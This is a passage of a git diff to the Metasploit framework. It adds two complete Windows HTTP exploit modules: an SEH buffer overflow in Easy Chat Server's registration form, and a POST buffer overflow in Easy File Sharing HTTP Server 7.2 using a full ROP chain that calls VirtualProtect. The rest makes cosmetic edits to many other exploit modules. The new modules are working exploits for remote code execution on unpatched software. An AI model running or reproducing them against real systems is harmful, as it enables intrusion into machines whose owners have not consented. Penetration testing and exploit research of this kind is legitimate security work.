+++ b/modules/exploits/windows/http/easychatserver_seh.rb
@@ -0,0 +1,74 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Easy Chat Server User Registeration Buffer Overflow (SEH)',
+      'Description'    => %q{
+        This module exploits a buffer overflow during user registration in Easy Chat Server software.
+      },
+      'Author'         =>
+        [
+          'Marco Rivoli', #Metasploit
+          'Aitezaz Mohsin' #POC
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'EDB', '42155' ],
+        ],
+      'Privileged'     => true,
+      'Payload'        =>
+        {
+          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ],
+        ],
+      'DefaultOptions' => {
+          'RPORT' => 80,
+          'EXITFUNC' => 'thread',
+          'ENCODER' => 'x86/alpha_mixed'
+        },
+      'DisclosureDate' => 'Oct 09 2017',
+      'DefaultTarget'  => 0))
+  end
+
+  def exploit
+    sploit = rand_text_alpha_upper(217)
+    sploit << "\xeb\x06\x90\x90"
+    sploit << [target.ret].pack('V')
+    sploit << payload.encoded
+    sploit << rand_text_alpha_upper(200)
+
+    res = send_request_cgi({
+      'uri'    => normalize_uri(URI,'registresult.htm'),
+      'method' => 'POST',
+      'vars_post'  => {
+        'UserName' => sploit,
+        'Password' => 'test',
+        'Password1' => 'test',
+        'Sex' => 1,
+        'Email' => 'x@',
+        'Icon' => 'x.gif',
+        'Resume' => 'xxxx',
+        'cw' => 1,
+        'RoomID' => 4,
+        'RepUserName' => 'admin',
+        'submit1' => 'Register'
+      }
+    })
+    handler
+
+  end
+end
diff --git a/modules/exploits/windows/http/easyfilesharing_post.rb b/modules/exploits/windows/http/easyfilesharing_post.rb
new file mode 100644
index 0000000000..2709d441ee
--- /dev/null
+++ b/modules/exploits/windows/http/easyfilesharing_post.rb
@@ -0,0 +1,158 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Tcp
+  #include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',
+      'Description'    => %q{
+        This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.
+      },
+      'Author'         =>
+        [
+          'bl4ck h4ck3r', #POC
+          'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'EDB', '42186' ],
+        ],
+      'Privileged'     => true,
+      'Payload'        =>
+        {
+          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],
+        ],
+      'DefaultOptions' => {
+          'RPORT' => 80,
+          'EXITFUNC' => 'thread',
+          'ENCODER' => 'x86/alpha_mixed'
+        },
+      'DisclosureDate' => 'Jun 12 2017',
+      'DefaultTarget'  => 0))
+  end
+
+  def create_rop_chain
+    # rop chain generated with mona.py - www.corelan.be
+    rop_gadgets = [
+        # 0x00000000,  # [-] Unable to find gadget to put 00000201 into ebx
+        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
+        0xFFFFFDFE,  # -202
+        0x100231d1,  # NEG EAX # RETN [ImageLoad.dll]
+        0x1001da09,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]|   {PAGE_EXECUTE_READ}
+        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
+        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
+        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
+        0x1004de84,  # &Writable location [ImageLoad.dll]
+        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
+        0x61c832d0,  # ptr to &VirtualProtect() [IAT sqlite3.dll]
+        0x1002248c,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
+        0x61c0a798,  # XCHG EAX,EDI # RETN [sqlite3.dll]
+        0x1001d626,  # XOR ESI,ESI # RETN [ImageLoad.dll]
+        0x10021a3e,  # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]
+        0x100218f9,  # POP EBP # RETN [ImageLoad.dll]
+        0x61c24169,  # & push esp # ret  [sqlite3.dll]
+        0x10022c4c,  # XOR EDX,EDX # RETN [ImageLoad.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x61c066be,  # INC EDX # ADD CL,CL # RETN [sqlite3.dll]
+        0x1001bd98,  # POP ECX # RETN [ImageLoad.dll]
+        0x1004de84,  # &Writable location [ImageLoad.dll]
+        0x61c373a4,  # POP EDI # RETN [sqlite3.dll]
+        0x1001a858,  # RETN (ROP NOP) [ImageLoad.dll]
+        0x10015442,  # POP EAX # RETN [ImageLoad.dll]
+        0x90909090,  # nop
+        0x100240c2,  # PUSHAD # RETN [ImageLoad.dll]
+    ].flatten.pack('V*')
+    return rop_gadgets
+  end
+
+  def exploit
+    sploit = rand_text_alpha_upper(2278)
+    rop_chain = create_rop_chain
+    sploit << rop_chain
+    sploit << "\x90" * 200
+    sploit << payload.encoded
+    sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)
+    sploit << [target.ret].pack('V')
+
+    request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"
+    connect
+    sock.put(request)
+    handler
+    disconnect
+  end
+end
diff --git a/modules/exploits/windows/http/easyfilesharing_seh.rb b/modules/exploits/windows/http/easyfilesharing_seh.rb
index d928b8df2a..1f9e437731 100644
--- a/modules/exploits/windows/http/easyfilesharing_seh.rb
+++ b/modules/exploits/windows/http/easyfilesharing_seh.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = NormalRanking
 
   include Msf::Exploit::Remote::Tcp
diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb
index 6b5706b048..6821b5bf1f 100644
--- a/modules/exploits/windows/http/easyftp_list.rb
+++ b/modules/exploits/windows/http/easyftp_list.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/edirectory_host.rb b/modules/exploits/windows/http/edirectory_host.rb
index 0963b1244f..206e81ded9 100644
--- a/modules/exploits/windows/http/edirectory_host.rb
+++ b/modules/exploits/windows/http/edirectory_host.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/edirectory_imonitor.rb b/modules/exploits/windows/http/edirectory_imonitor.rb
index 759591a856..0300996b4b 100644
--- a/modules/exploits/windows/http/edirectory_imonitor.rb
+++ b/modules/exploits/windows/http/edirectory_imonitor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb
index be513d6d53..d66d47835a 100644
--- a/modules/exploits/windows/http/efs_easychatserver_username.rb
+++ b/modules/exploits/windows/http/efs_easychatserver_username.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -138,7 +138,6 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 5)
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/http/efs_fmws_userid_bof.rb b/modules/exploits/windows/http/efs_fmws_userid_bof.rb
index cfdf986da4..04ca8f396b 100644
--- a/modules/exploits/windows/http/efs_fmws_userid_bof.rb
+++ b/modules/exploits/windows/http/efs_fmws_userid_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/ektron_xslt_exec.rb b/modules/exploits/windows/http/ektron_xslt_exec.rb
index 61909a301f..9f5c9998a7 100644
--- a/modules/exploits/windows/http/ektron_xslt_exec.rb
+++ b/modules/exploits/windows/http/ektron_xslt_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb
index 15755dc031..8b2f83a403 100644
--- a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb
+++ b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/ericom_access_now_bof.rb b/modules/exploits/windows/http/ericom_access_now_bof.rb
index 4b0a26bd1d..72fd53f1dc 100644
--- a/modules/exploits/windows/http/ericom_access_now_bof.rb
+++ b/modules/exploits/windows/http/ericom_access_now_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -129,5 +129,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     rop_gadgets
   end
-
 end
diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb
index a09bfd8448..89472047e2 100644
--- a/modules/exploits/windows/http/ezserver_http.rb
+++ b/modules/exploits/windows/http/ezserver_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/fdm_auth_header.rb b/modules/exploits/windows/http/fdm_auth_header.rb
index 956a8a7998..03b38c9013 100644
--- a/modules/exploits/windows/http/fdm_auth_header.rb
+++ b/modules/exploits/windows/http/fdm_auth_header.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/http/generic_http_dll_injection.rb b/modules/exploits/windows/http/generic_http_dll_injection.rb
index 6da968b415..c37dcef420 100644
--- a/modules/exploits/windows/http/generic_http_dll_injection.rb
+++ b/modules/exploits/windows/http/generic_http_dll_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/hp_autopass_license_traversal.rb b/modules/exploits/windows/http/hp_autopass_license_traversal.rb
index cc74ee8eff..33b54389da 100644
--- a/modules/exploits/windows/http/hp_autopass_license_traversal.rb
+++ b/modules/exploits/windows/http/hp_autopass_license_traversal.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description' => %q{
         This module exploits a code execution flaw in HP AutoPass License Server. It abuses two
         weaknesses in order to get its objective. First, the AutoPass application doesn't enforce
-        authentication in the CommunicationServlet component. Seond, it's possible to abuse a
+        authentication in the CommunicationServlet component. Second, it's possible to abuse a
         directory traversal when uploading files thorough the same component, allowing to upload
         an arbitrary payload embedded in a JSP. The module has been tested successfully on
         HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50.
@@ -251,5 +251,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     res
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb
index 36aebac3fe..297f353675 100644
--- a/modules/exploits/windows/http/hp_imc_bims_upload.rb
+++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,7 +91,7 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     if  res and res.code == 200 and res.body.empty?
-      print_status("JSP payload uploaded successfully")
+      print_good("JSP payload uploaded successfully")
       register_files_for_cleanup("..\\web\\apps\\upload\\#{jsp_name}")
     else
       fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
@@ -104,5 +104,4 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 1)
 
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_imc_mibfileupload.rb b/modules/exploits/windows/http/hp_imc_mibfileupload.rb
index 440601ca5d..549a377fdb 100644
--- a/modules/exploits/windows/http/hp_imc_mibfileupload.rb
+++ b/modules/exploits/windows/http/hp_imc_mibfileupload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description' => %q{
           This module exploits a code execution flaw in HP Intelligent Management Center.
         The vulnerability exists in the mibFileUpload which is accepting unauthenticated
-        file uploads and handling zip contents in a insecure way. Combining both weaknesses
+        file uploads and handling zip contents in an insecure way. Combining both weaknesses
         a remote attacker can accomplish arbitrary file upload. This module has been tested
         successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.
       },
@@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body.empty?
-      print_status("JSP payload uploaded successfully")
+      print_good("JSP payload uploaded successfully")
       register_files_for_cleanup(jsp_name)
     else
       fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
@@ -107,5 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb
index 1e78ebdf39..9a92cdca9e 100644
--- a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb
+++ b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote
         vprint_warning("Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...")
         return Exploit::CheckCode::Appears
       else
-        vprint_status("Failed to verify the directory traversal...")
+        vprint_error("Failed to verify the directory traversal...")
       end
     else
       vprint_error("Tomcat version not detected...")
@@ -193,7 +193,7 @@ class MetasploitModule < Msf::Exploit::Remote
     res = upload_file(depth, location, jsp_name, payload.encoded)
 
     if res and res.code == 200 and res.body.to_s =~ /copyFileToServerResponse/ and res.body.to_s !~ /faultcode/
-      print_status("JSP payload uploaded successfully")
+      print_good("JSP payload uploaded successfully")
       register_files_for_cleanup("..\\..\\#{location}\\#{jsp_name}")
     else
       fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
@@ -266,5 +266,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return nil
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb
index 9b322ddb25..8f03ec27f1 100644
--- a/modules/exploits/windows/http/hp_mpa_job_acct.rb
+++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -240,6 +240,5 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Executing payload through #{payload_url}...")
     send_request_cgi({ 'uri' => payload_url})
   end
-
 end
 
diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb
index bc8946c211..7d0187970f 100644
--- a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb
+++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb
index e1fa054c01..1afba18457 100644
--- a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb
+++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb
index 007a0ff4eb..0bb36c1e7e 100644
--- a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb
+++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb
index bb68d3194a..fb58a5d2d5 100644
--- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb
+++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb
index 4aa6f871c7..f02e7ffbf2 100644
--- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb
+++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/hp_nnm_openview5.rb b/modules/exploits/windows/http/hp_nnm_openview5.rb
index 2f4034266e..f475c48d1e 100644
--- a/modules/exploits/windows/http/hp_nnm_openview5.rb
+++ b/modules/exploits/windows/http/hp_nnm_openview5.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -58,5 +58,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb
index add77af43f..4025f63965 100644
--- a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
         1. An "Accept-Language" header longer than 100 bytes
         2. An "OVABverbose" URI variable set to "on", "true" or "1"
 
-        The vulnerability is related to "_WebSession::GetWebLocale()" ..
+        The vulnerability is related to "_WebSession::GetWebLocale()".
 
         NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.
       },
@@ -95,7 +95,6 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb
index 50c4ad3ffb..390ec51766 100644
--- a/modules/exploits/windows/http/hp_nnm_ovas.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovas.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -192,5 +192,4 @@ class MetasploitModule < Msf::Exploit::Remote
     return Exploit::CheckCode::Safe
 
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
index 511c6f6f55..a9a0fc253c 100644
--- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote
         address.
 
         The vulnerability is due to the use of the function "_OVConcatPath" which finally
-        uses "strcat" in a insecure way. User controlled data is concatenated to a string
+        uses "strcat" in an insecure way. User controlled data is concatenated to a string
         which contains the OpenView installation path.
 
         To achieve reliable exploitation a directory traversal in OpenView5.exe
@@ -238,7 +238,6 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb
index 3a64dfde96..c08919c80f 100644
--- a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
